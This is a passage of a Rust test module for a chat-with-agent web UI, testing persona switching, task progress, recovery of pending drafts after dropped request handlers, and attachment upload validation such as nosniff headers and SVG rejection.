14139        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14140            .await
14141            .expect("detail");
14142        let json = serde_json::to_string(&detail).unwrap();
14143        assert!(
14144            !json.contains("secret"),
14145            "the icon setting must not leak: {json}"
14146        );
14147        assert!(
14148            detail
14149                .view
14150                .persona_avatar
14151                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14152        );
14153        assert_eq!(
14154            detail.view.operator_avatar,
14155            format!(
14156                "/avatars/operator.svg?v={}",
14157                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14158            )
14159        );
14160        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14161        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14162        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14163        assert!(rei.avatar.contains("persona=rei&v="));
14164        assert_ne!(
14165            rei.avatar.split("&v=").nth(1),
14166            plain.avatar.split("&v=").nth(1)
14167        );
14168    }
14169
14170    #[tokio::test]
14171    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14172        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14173        let cfg = config_for(&repo).await.unwrap();
14174        for arrived in [false, true] {
14175            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14176            let observed = ui.queued_generation(&id);
14177            let talk = ui.talks.get(&id).unwrap();
14178            if arrived {
14179                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14180            }
14181            let mut settling = std::pin::pin!(settle_settings_turn(
14182                talk,
14183                ui.talks.clone(),
14184                cfg.clone(),
14185                id.clone(),
14186                turn,
14187                observed
14188            ));
14189            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14190            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14191            assert_eq!(first.is_pending(), arrived);
14192            if arrived {
14193                assert!(!settling.await);
14194            }
14195            assert!(!ui.is_thinking(&id));
14196        }
14197    }
14198
14199    #[tokio::test]
14200    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14201        let tmp = TempDir::new().expect("tempdir");
14202        let repo = tmp.path().join("repo");
14203        std::fs::create_dir_all(&repo).expect("repo dir");
14204        std::fs::write(
14205            repo.join("magi.toml"),
14206            format!(
14207                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14208            ),
14209        )
14210        .expect("write magi.toml");
14211        let home = TempDir::new().expect("temp home");
14212        let talks = Talks::at(home.path().join("talks"));
14213        let ui = Arc::new(
14214            Ui::new(
14215                Queue::at(home.path().join("queue")),
14216                Questions::at(home.path().join("questions")),
14217                talks.clone(),
14218                home.path().join("runs"),
14219                home.path().to_path_buf(),
14220                repo.clone(),
14221            )
14222            .with_worktrees_root(home.path().join("wt")),
14223        );
14224        let cfg = config_for(&repo).await.expect("discover config");
14225        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14226        let id = talk.id.clone();
14227        let call = |persona: &str| {
14228            talk_persona(
14229                State(Arc::clone(&ui)),
14230                Path(id.clone()),
14231                Json(TalkPersona {
14232                    persona: persona.to_owned(),
14233                }),
14234            )
14235        };
14236
14237        let unknown = call("nobody").await.expect_err("unknown persona");
14238        assert_eq!(
14239            unknown.status,
14240            StatusCode::BAD_REQUEST,
14241            "{}",
14242            unknown.message
14243        );
14244
14245        {
14246            // Nothing refused so far took a claim, so the guard is free to take
14247            // and holding it is what makes the talk busy.
14248            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14249            let busy = call("rei").await.expect_err("busy talk");
14250            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14251            assert!(
14252                busy.message.contains("a talk turn is running"),
14253                "{}",
14254                busy.message
14255            );
14256            drop(guard);
14257        }
14258        assert_eq!(talks.get(&id).expect("reload").persona, "");
14259
14260        let Json(view) = call("gendo").await.expect("switch to a configured persona");
14261        assert_eq!(view.talk.persona, "gendo");
14262        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14263        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14264        // No intervening I/O or sleep may be needed before another change.
14265        for chosen in ["default", "gendo", "rei", "gendo"] {
14266            let Json(view) = call(chosen).await.expect("immediate consecutive change");
14267            assert!(!view.thinking);
14268            assert!(!ui.is_thinking(&id));
14269        }
14270
14271        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14272            .await
14273            .expect("detail");
14274        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14275        assert_eq!(ids.first(), Some(&"default"));
14276        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14277
14278        let Json(view) = call("default").await.expect("back to default");
14279        assert_eq!(view.talk.persona, "");
14280
14281        let mut closed = talks.get(&id).expect("reload");
14282        talk::close(&mut closed, &talks).expect("close");
14283        let refused = call("rei").await.expect_err("closed talk");
14284        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14285        assert!(
14286            refused.message.contains("takes no more turns"),
14287            "{}",
14288            refused.message
14289        );
14290    }
14291
14292    #[tokio::test]
14293    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14294        let f = Fixture::start().await;
14295        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14296        let queue = f.queue();
14297        let mut mine = Task::new(
14298            "rename the loader".to_owned(),
14299            "rename the loader".to_owned(),
14300            PathBuf::from("/repo/magi"),
14301            Source::Agent {
14302                run: talk_id.clone(),
14303                node: "chat".to_owned(),
14304            },
14305        );
14306        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14307        assert_eq!(empty["task_progress"]["state"], "none");
14308        assert_eq!(empty["task_progress"]["total"], 0);
14309        queue.put(&mut mine).expect("file the task");
14310        let mut theirs = Task::new(
14311            "unrelated".to_owned(),
14312            "unrelated".to_owned(),
14313            PathBuf::from("/repo/magi"),
14314            Source::Human,
14315        );
14316        // A later task linked through origin_chat alone is outside this list.
14317        theirs.origin_chat = Some(talk_id.clone());
14318        queue.put(&mut theirs).expect("file the task");
14319
14320        let res = f.get(&format!("/api/talks/{talk_id}")).await;
14321        assert_eq!(res.status, 200, "{}", res.body);
14322        let body = res.json();
14323        assert_eq!(
14324            body["status"], "open",
14325            "filing a task does not close a talk"
14326        );
14327        let tasks = body["tasks"].as_array().expect("tasks array");
14328        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14329        assert_eq!(tasks[0]["id"], mine.id);
14330        for status in [
14331            TaskStatus::Queued,
14332            TaskStatus::Running,
14333            TaskStatus::Held,
14334            TaskStatus::Failed,
14335            TaskStatus::Blocked,
14336            TaskStatus::Parked,
14337            TaskStatus::Done,
14338            TaskStatus::Queued,
14339        ] {
14340            mine.status = status;
14341            queue.put(&mut mine).expect("update status");
14342            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14343            let progress = &detail["task_progress"];
14344            assert_eq!(progress["total"], 1);
14345            assert_eq!(progress["counts"][status.as_str()], 1);
14346            assert_eq!(detail["tasks"][0]["status"], status.as_str());
14347            assert_eq!(detail["status"], "open", "completion never closes the chat");
14348            if status == TaskStatus::Done {
14349                assert_eq!(progress["state"], "complete");
14350                assert_eq!(progress["done"], 1);
14351                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14352            } else {
14353                assert_eq!(progress["state"], "incomplete");
14354                assert_eq!(progress["done"], 0);
14355                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14356            }
14357        }
14358    }
14359
14360    #[test]
14361    fn talk_task_progress_counts_mixed_statuses() {
14362        let mut tasks: Vec<_> = [
14363            TaskStatus::Queued,
14364            TaskStatus::Running,
14365            TaskStatus::Held,
14366            TaskStatus::Failed,
14367            TaskStatus::Blocked,
14368            TaskStatus::Parked,
14369            TaskStatus::Done,
14370        ]
14371        .into_iter()
14372        .map(|status| {
14373            let mut task = Task::new(
14374                "task".into(),
14375                "task".into(),
14376                PathBuf::from("/repo"),
14377                Source::Human,
14378            );
14379            task.status = status;
14380            task
14381        })
14382        .collect();
14383        let progress = talk_task_progress(&tasks);
14384        assert_eq!(progress.state, "incomplete");
14385        assert_eq!(progress.total, 7);
14386        assert_eq!(progress.done, 1);
14387        assert_eq!(progress.unfinished_ids.len(), 6);
14388        assert!(progress.counts.values().all(|count| *count == 1));
14389        assert_eq!(
14390            progress.unfinished_ids,
14391            tasks[..6]
14392                .iter()
14393                .map(|task| task.id.clone())
14394                .collect::<Vec<_>>()
14395        );
14396
14397        for task in &mut tasks {
14398            task.status = TaskStatus::Done;
14399        }
14400        let complete = talk_task_progress(&tasks);
14401        assert_eq!(complete.state, "complete");
14402        assert_eq!(complete.done, 7);
14403        assert!(complete.unfinished_ids.is_empty());
14404        tasks[0].status = TaskStatus::Queued;
14405        let requeued = talk_task_progress(&tasks);
14406        assert_eq!(requeued.state, "incomplete");
14407        assert_eq!(requeued.done, 6);
14408        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14409
14410        let empty = talk_task_progress(&[]);
14411        assert_eq!(empty.state, "none");
14412        assert_eq!(empty.total, 0);
14413        assert_eq!(empty.done, 0);
14414        assert!(empty.unfinished_ids.is_empty());
14415        assert!(empty.counts.values().all(|count| *count == 0));
14416    }
14417
14418    #[tokio::test]
14419    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14420        let (_tmp, _repo, f) = talk_fixture().await;
14421        let id = f.post("/api/talks", None).await.json()["id"]
14422            .as_str()
14423            .expect("id")
14424            .to_owned();
14425
14426        let res = f
14427            .post(
14428                &format!("/api/talks/{id}/say"),
14429                Some(r#"{"text":"what does the queue module do?"}"#),
14430            )
14431            .await;
14432        assert_eq!(res.status, 202, "{}", res.body);
14433        let queued = res.json();
14434        let turns = queued["turns"].as_array().expect("turns array");
14435        assert_eq!(
14436            turns.len(),
14437            1,
14438            "the answer reflects only what is on disk the instant it is sent, \
14439             before the agent's turn - which can run for the whole of \
14440             `[graph] timeout_talk` - has a chance to land: {queued}"
14441        );
14442        assert_eq!(turns[0]["who"], "operator");
14443        assert_eq!(turns[0]["body"], "what does the queue module do?");
14444        assert_eq!(
14445            queued["thinking"], true,
14446            "the accepted response exposes the background turn claim: {queued}"
14447        );
14448
14449        let mut turns_after = 1;
14450        for _ in 0..SETTLE_STEPS {
14451            let detail = f.get(&format!("/api/talks/{id}")).await.json();
14452            turns_after = detail["turns"].as_array().expect("turns array").len();
14453            if turns_after == 2 {
14454                break;
14455            }
14456            tokio::time::sleep(Duration::from_millis(10)).await;
14457        }
14458        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
14459    }
14460
14461    /// A phone that reloads mid-request drops `talk_say`'s whole handler
14462    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
14463    /// guards against: `talk::record` used to return, and only *then* did the
14464    /// handler make a second, separate disk round trip before spawning the
14465    /// agent's reply task. A future dropped in that gap left a message
14466    /// recorded on disk with no reply task ever started and no way back short
14467    /// of a fresh message - and the gap was not even the whole story: *any*
14468    /// `.await` in this handler, including the very first one, is a point
14469    /// where a drop can land after the awaited work already finished but
14470    /// before this handler's own code resumes to act on it. `record` now
14471    /// runs inside the task `tokio::spawn` hands to the runtime before this
14472    /// handler ever awaits anything of its own again, so there is nothing
14473    /// left in *this* handler's future for a disconnect to interrupt between
14474    /// the message landing on disk and the reply task starting.
14475    ///
14476    /// A real socket disconnect cannot be relied on to land in the old gap
14477    /// from a test - over loopback, `talk_say` typically finishes before the
14478    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
14479    /// same failure mode directly: it drops the task's future at whatever
14480    /// point it has reached, exactly what axum does to the handler future,
14481    /// without needing to win a real network race. Sweeping the delay before
14482    /// aborting samples a range of points the task's execution can be at,
14483    /// including where the old code sat waiting on its second disk round
14484    /// trip - confirmed by reverting this fix locally and watching this same
14485    /// sweep catch a talk stuck with the operator's turn recorded and no
14486    /// reply ever following.
14487    #[tokio::test]
14488    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
14489        let tmp = TempDir::new().expect("tempdir");
14490        let repo = tmp.path().join("repo");
14491        std::fs::create_dir_all(&repo).expect("repo dir");
14492        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14493        let home = TempDir::new().expect("temp home");
14494        let talks = Talks::at(home.path().join("talks"));
14495        let ui = Arc::new(
14496            Ui::new(
14497                Queue::at(home.path().join("queue")),
14498                Questions::at(home.path().join("questions")),
14499                talks.clone(),
14500                home.path().join("runs"),
14501                home.path().to_path_buf(),
14502                repo.clone(),
14503            )
14504            .with_worktrees_root(home.path().join("wt")),
14505        );
14506        let cfg = config_for(&repo).await.expect("discover config");
14507
14508        for delay in 0..40u32 {
14509            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14510            let id = talk.id.clone();
14511
14512            let handler = tokio::spawn(talk_say(
14513                State(Arc::clone(&ui)),
14514                Path(id.clone()),
14515                Ok(Json(NewTalkTurn {
14516                    reply_to: None,
14517                    text: "what does the queue module do?".to_owned(),
14518                    attachments: Vec::new(),
14519                })),
14520            ));
14521            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
14522            handler.abort();
14523            // Wait out the abort so the next iteration's talk does not race
14524            // this one's still-unwinding turn guard.
14525            let _ = handler.await;
14526
14527            let mut turns = 0;
14528            for _ in 0..SETTLE_STEPS {
14529                if let Ok(fresh) = talks.get(&id) {
14530                    turns = fresh.turns.len();
14531                    if turns != 1 {
14532                        break;
14533                    }
14534                }
14535                tokio::time::sleep(Duration::from_millis(10)).await;
14536            }
14537            assert_ne!(
14538                turns, 1,
14539                "delay {delay}: talk {id} recorded the operator's turn but \
14540                 the agent never answered - the reply task was never \
14541                 started after the handler future was dropped"
14542            );
14543        }
14544    }
14545
14546    /// The same drop, landing on `talk_say`'s other durable write.
14547    ///
14548    /// When a turn is already running, the busy branch persists the
14549    /// operator's text as a queued draft and then reclaims the turn slot if
14550    /// the holder gave it up in the meantime - and whoever reclaims owes that
14551    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
14552    /// which finishes whether or not the future awaiting it is still there,
14553    /// so a handler dropped at that `.await` used to leave the draft written
14554    /// to disk with the reclaimed guard dropped unread and no drainer ever
14555    /// started: the message sat queued until some unrelated later `say`
14556    /// happened to pick it up.
14557    ///
14558    /// This used to drive the handler future by hand, polling it a fixed
14559    /// number of times to park it at the `.await` where it asks for the turn
14560    /// and finds it busy, before the reclaim's slot-free case could be set up
14561    /// underneath it. That assumed a fixed number of polls lands at a fixed
14562    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
14563    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
14564    /// poll, so any number of this handler's several `blocking` awaits can
14565    /// collapse into one poll under load, landing the drive somewhere other
14566    /// than intended - including, occasionally, straight past the handler's
14567    /// own completion, which made polling it again panic with "async fn
14568    /// resumed after completion". No poll count fixes that; the handler's
14569    /// progress simply is not something a caller outside it can observe by
14570    /// counting.
14571    ///
14572    /// [`BusyQueueGate`] replaces the poll count with a real stop point
14573    /// inside the write itself, so the interleaving under test is pinned by
14574    /// an event instead of a guess: the gate fires only once the handler has
14575    /// actually decided `Busy` and is about to persist the draft, and it
14576    /// blocks that write until the test lets it through. Between those two
14577    /// moments the test drains the turn the handler found busy - through
14578    /// `drain_loop`, the protocol's other half - and then aborts the handler
14579    /// task outright, the same way axum drops a disconnected request's
14580    /// future. The write, and the reclaim it may do, run to completion
14581    /// regardless: they live in the `tokio::spawn` task the busy branch hands
14582    /// to the runtime before ever touching the gate, wholly independent of
14583    /// whether the handler that started it is still around - which is what
14584    /// this test is actually checking. A drainer other than that reclaim
14585    /// cannot exist here: the test's own `drain_loop` call happens before the
14586    /// gate opens, so it runs while the queue is still empty and hands the
14587    /// turn straight back rather than draining anything, closing off the
14588    /// possibility of the final assertion passing without the reclaim ever
14589    /// having done its job.
14590    #[tokio::test]
14591    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
14592        let tmp = TempDir::new().expect("tempdir");
14593        let repo = tmp.path().join("repo");
14594        std::fs::create_dir_all(&repo).expect("repo dir");
14595        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14596        let home = TempDir::new().expect("temp home");
14597        let talks = Talks::at(home.path().join("talks"));
14598        let ui = Arc::new(
14599            Ui::new(
14600                Queue::at(home.path().join("queue")),
14601                Questions::at(home.path().join("questions")),
14602                talks.clone(),
14603                home.path().join("runs"),
14604                home.path().to_path_buf(),
14605                repo.clone(),
14606            )
14607            .with_worktrees_root(home.path().join("wt")),
14608        );
14609        let cfg = config_for(&repo).await.expect("discover config");
14610
14611        for attempt in 0..3u32 {
14612            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
14613            let id = talk.id.clone();
14614            // A turn is already running, which is what sends `talk_say` down
14615            // the busy branch.
14616            let turn_guard = ui
14617                .begin_talk_turn(&id)
14618                .expect("claim the turn")
14619                .expect("a fresh talk owes nobody a turn");
14620
14621            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
14622            let (release_tx, release_rx) = std::sync::mpsc::channel();
14623            ui.set_busy_queue_gate(BusyQueueGate {
14624                reached: reached_tx,
14625                release: release_rx,
14626            });
14627
14628            let handler = tokio::spawn(talk_say(
14629                State(Arc::clone(&ui)),
14630                Path(id.clone()),
14631                Ok(Json(NewTalkTurn {
14632                    reply_to: None,
14633                    text: "what does the queue module do?".to_owned(),
14634                    attachments: Vec::new(),
14635                })),
14636            ));
14637
14638            // Wait for the busy branch to actually reach the gate, rather
14639            // than for any fixed number of polls of anything - a bounded
14640            // wait rather than a bare `.await` so a regression that never
14641            // reaches the gate fails the test instead of hanging it.
14642            tokio::time::timeout(Duration::from_secs(5), reached_rx)
14643                .await
14644                .unwrap_or_else(|_| {
14645                    panic!(
14646                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
14647                    )
14648                })
14649                .expect("the busy branch dropped the gate without using it");
14650
14651            // The turn that was running now finishes and gives the slot up
14652            // the way a real one does - through `drain_loop`, which finds
14653            // nothing queued yet (the write is still held at the gate) and
14654            // releases. The handler, parked inside `spawn_blocking` on the
14655            // other side of the gate, still believes the talk is busy -
14656            // exactly the interleaving the reclaim exists for.
14657            let running = talks.get(&id).expect("reload talk");
14658            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
14659
14660            // Drop the handler future now, the way a reloading phone drops
14661            // it: suspended waiting on the busy branch's answer, having
14662            // itself made no more progress since it handed the write off.
14663            handler.abort();
14664            let _ = handler.await;
14665
14666            // Only now let the gated write proceed. It persists the draft
14667            // and reclaims the now-free slot from inside the task the busy
14668            // branch already spawned - unaffected by the handler's abort
14669            // above, since that task was independent of the handler's own
14670            // future from the moment it was spawned.
14671            let _ = release_tx.send(());
14672
14673            // A settled talk: the draft drained into an operator turn and
14674            // answered.
14675            let mut fresh = talks.get(&id).expect("reload talk");
14676            for _ in 0..SETTLE_STEPS {
14677                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
14678                    break;
14679                }
14680                tokio::time::sleep(Duration::from_millis(10)).await;
14681                fresh = talks.get(&id).expect("reload talk");
14682            }
14683            assert!(
14684                fresh.pending.is_empty() && fresh.turns.len() == 2,
14685                "attempt {attempt}: talk {id} left the operator's text queued \
14686                 with no drainer - the reclaimed turn was dropped along with \
14687                 the handler future (pending {:?}, {} turns)",
14688                fresh.pending,
14689                fresh.turns.len()
14690            );
14691        }
14692    }
14693
14694    #[tokio::test]
14695    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
14696        let (_tmp, _repo, f) = talk_fixture().await;
14697        let id = f.post("/api/talks", None).await.json()["id"]
14698            .as_str()
14699            .expect("id")
14700            .to_owned();
14701        let store = f.talks();
14702        let mut recovered = store.get(&id).expect("opened talk");
14703        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14704            .expect("persist pending draft without a live turn");
14705
14706        let edited = f
14707            .post(
14708                &format!("/api/talks/{id}/pending/edit"),
14709                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
14710            )
14711            .await;
14712        assert_eq!(edited.status, 200, "{}", edited.body);
14713        assert!(edited.json()["thinking"].as_bool().unwrap());
14714
14715        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
14716        for _ in 0..SETTLE_STEPS {
14717            if detail["turns"].as_array().expect("turns").len() == 2 {
14718                break;
14719            }
14720            tokio::time::sleep(Duration::from_millis(10)).await;
14721            detail = f.get(&format!("/api/talks/{id}")).await.json();
14722        }
14723        let turns = detail["turns"].as_array().expect("turns");
14724        assert_eq!(
14725            turns.len(),
14726            2,
14727            "the recovered draft must run once: {detail}"
14728        );
14729        assert_eq!(turns[0]["body"], "corrected");
14730        assert_eq!(detail["pending"], "");
14731    }
14732
14733    #[tokio::test]
14734    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
14735        let tmp = TempDir::new().expect("tempdir");
14736        let repo = tmp.path().join("repo");
14737        std::fs::create_dir_all(&repo).expect("repo dir");
14738        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14739        let f = Fixture::with_repo(repo).await;
14740        let id = f.post("/api/talks", None).await.json()["id"]
14741            .as_str()
14742            .expect("id")
14743            .to_owned();
14744        let store = f.talks();
14745        let mut recovered = store.get(&id).expect("opened talk");
14746        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
14747            .expect("persist pending draft without a live turn");
14748
14749        let refused = f
14750            .post(
14751                &format!("/api/talks/{id}/say"),
14752                Some(r#"{"text":"new message"}"#),
14753            )
14754            .await;
14755        assert_eq!(refused.status, 409, "{}", refused.body);
14756        assert!(refused.body.contains("resume"), "{}", refused.body);
14757        let saved = store.get(&id).expect("draft remains after refusal");
14758        assert!(saved.turns.is_empty());
14759        assert_eq!(saved.pending, "saved before restart");
14760
14761        let say_path = format!("/api/talks/{id}/say");
14762        let (first, second) = tokio::join!(
14763            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
14764            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
14765        );
14766        assert_eq!(first.status, 409, "{}", first.body);
14767        assert_eq!(second.status, 409, "{}", second.body);
14768        let saved = store
14769            .get(&id)
14770            .expect("draft remains after concurrent refusals");
14771        assert!(saved.turns.is_empty());
14772        assert_eq!(saved.pending, "saved before restart");
14773
14774        let resumed = f
14775            .post(&format!("/api/talks/{id}/pending/resume"), None)
14776            .await;
14777        assert_eq!(resumed.status, 202, "{}", resumed.body);
14778        let duplicate = f
14779            .post(&format!("/api/talks/{id}/pending/resume"), None)
14780            .await;
14781        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
14782
14783        for _ in 0..SETTLE_STEPS {
14784            if store.get(&id).expect("talk").turns.len() == 2 {
14785                break;
14786            }
14787            tokio::time::sleep(Duration::from_millis(10)).await;
14788        }
14789        let finished = store.get(&id).expect("finished talk");
14790        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14791        assert_eq!(finished.turns[0].body, "saved before restart");
14792        assert!(finished.pending.is_empty());
14793    }
14794
14795    #[tokio::test]
14796    async fn an_image_only_recovered_draft_resumes_without_text() {
14797        let (_tmp, _repo, f) = talk_fixture().await;
14798        let id = f.post("/api/talks", None).await.json()["id"]
14799            .as_str()
14800            .expect("id")
14801            .to_owned();
14802        let uploaded = f
14803            .post_bytes(
14804                &format!("/api/talks/{id}/attachments"),
14805                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
14806                PNG_BYTES,
14807            )
14808            .await;
14809        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
14810        let attachment = f
14811            .talks()
14812            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
14813            .expect("attachment metadata")
14814            .expect("stored attachment");
14815        let store = f.talks();
14816        let mut recovered = store.get(&id).expect("opened talk");
14817        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
14818
14819        let resumed = f
14820            .post(&format!("/api/talks/{id}/pending/resume"), None)
14821            .await;
14822        assert_eq!(resumed.status, 202, "{}", resumed.body);
14823        for _ in 0..SETTLE_STEPS {
14824            if store.get(&id).expect("talk").turns.len() == 2 {
14825                break;
14826            }
14827            tokio::time::sleep(Duration::from_millis(10)).await;
14828        }
14829        let finished = store.get(&id).expect("finished talk");
14830        assert_eq!(finished.turns.len(), 2, "{finished:?}");
14831        assert!(finished.turns[0].body.is_empty());
14832        assert_eq!(finished.turns[0].attachments.len(), 1);
14833        assert!(finished.pending_attachments.is_empty());
14834    }
14835
14836    #[tokio::test]
14837    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
14838        let (_tmp, _repo, f) = talk_fixture().await;
14839        let id = f.post("/api/talks", None).await.json()["id"]
14840            .as_str()
14841            .expect("id")
14842            .to_owned();
14843        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
14844        assert_eq!(closed.status, 200, "{}", closed.body);
14845        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14846            .expect("serialize closed talk");
14847        for (path, body) in [
14848            (format!("/api/talks/{id}/pending/resume"), None),
14849            (
14850                format!("/api/talks/{id}/pending/clear"),
14851                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
14852            ),
14853            (
14854                format!("/api/talks/{id}/pending/edit"),
14855                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
14856            ),
14857            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
14858        ] {
14859            let response = f.post(&path, body).await;
14860            assert_eq!(response.status, 409, "{}", response.body);
14861        }
14862        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
14863            .expect("serialize closed talk");
14864        assert_eq!(
14865            after_clear, before_clear,
14866            "clear must not rewrite a closed talk"
14867        );
14868    }
14869
14870    /// Keeps both claims observable long enough to exercise the distinction
14871    /// between one busy talk and a globally locked Chat surface.
14872    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
14873
14874    #[tokio::test]
14875    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
14876        let tmp = TempDir::new().expect("tempdir");
14877        let repo = tmp.path().join("repo");
14878        std::fs::create_dir_all(&repo).expect("repo dir");
14879        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
14880        let f = Fixture::with_repo(repo).await;
14881        let id_a = f.post("/api/talks", None).await.json()["id"]
14882            .as_str()
14883            .unwrap()
14884            .to_owned();
14885        let id_b = f.post("/api/talks", None).await.json()["id"]
14886            .as_str()
14887            .unwrap()
14888            .to_owned();
14889
14890        let a = f
14891            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
14892            .await;
14893        assert_eq!(a.status, 202, "{}", a.body);
14894        assert_eq!(a.json()["thinking"], true);
14895        let b = f
14896            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
14897            .await;
14898        assert_eq!(b.status, 202, "{}", b.body);
14899        assert_eq!(b.json()["thinking"], true);
14900
14901        let listed = f.get("/api/talks").await.json();
14902        for id in [&id_a, &id_b] {
14903            let view = listed
14904                .as_array()
14905                .unwrap()
14906                .iter()
14907                .find(|talk| talk["id"] == *id)
14908                .unwrap();
14909            assert_eq!(view["thinking"], true, "{listed}");
14910        }
14911        let repeated = f
14912            .post(
14913                &format!("/api/talks/{id_a}/say"),
14914                Some(r#"{"text":"again"}"#),
14915            )
14916            .await;
14917        assert_eq!(repeated.status, 202, "{}", repeated.body);
14918        assert_eq!(repeated.json()["pending"], "again");
14919    }
14920
14921    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
14922    /// few more, since real uploads are never exactly eight bytes.
14923    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
14924
14925    #[tokio::test]
14926    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
14927        let f = Fixture::start().await;
14928        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
14929
14930        let res = f
14931            .post_bytes(
14932                &format!("/api/talks/{id}/attachments"),
14933                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
14934                PNG_BYTES,
14935            )
14936            .await;
14937        assert_eq!(res.status, 201, "{}", res.body);
14938        let body = res.json();
14939        assert_eq!(body["name"], "shot.png");
14940        assert_eq!(body["mime"], "image/png");
14941        assert_eq!(body["bytes"], PNG_BYTES.len());
14942        let att_id = body["id"].as_str().expect("id").to_owned();
14943        assert_eq!(
14944            att_id.len(),
14945            32,
14946            "the id must never be a client-suppliable path: {att_id}"
14947        );
14948
14949        let got = f
14950            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
14951            .await;
14952        assert_eq!(got.status, 200, "{}", got.body);
14953        assert_eq!(got.header("content-type"), Some("image/png"));
14954        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
14955        assert_eq!(got.bytes, PNG_BYTES);
14956    }
14957
14958    #[tokio::test]
14959    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
14960        let f = Fixture::start().await;
14961        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
14962
14963        // SVG can carry a `<script>`, so it is never on the whitelist even
14964        // though it is a real IANA image type.
14965        let svg = f
14966            .post_bytes(
14967                &format!("/api/talks/{id}/attachments"),
14968                &[("Content-Type", "image/svg+xml")],
14969                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
14970            )
14971            .await;
14972        assert!(
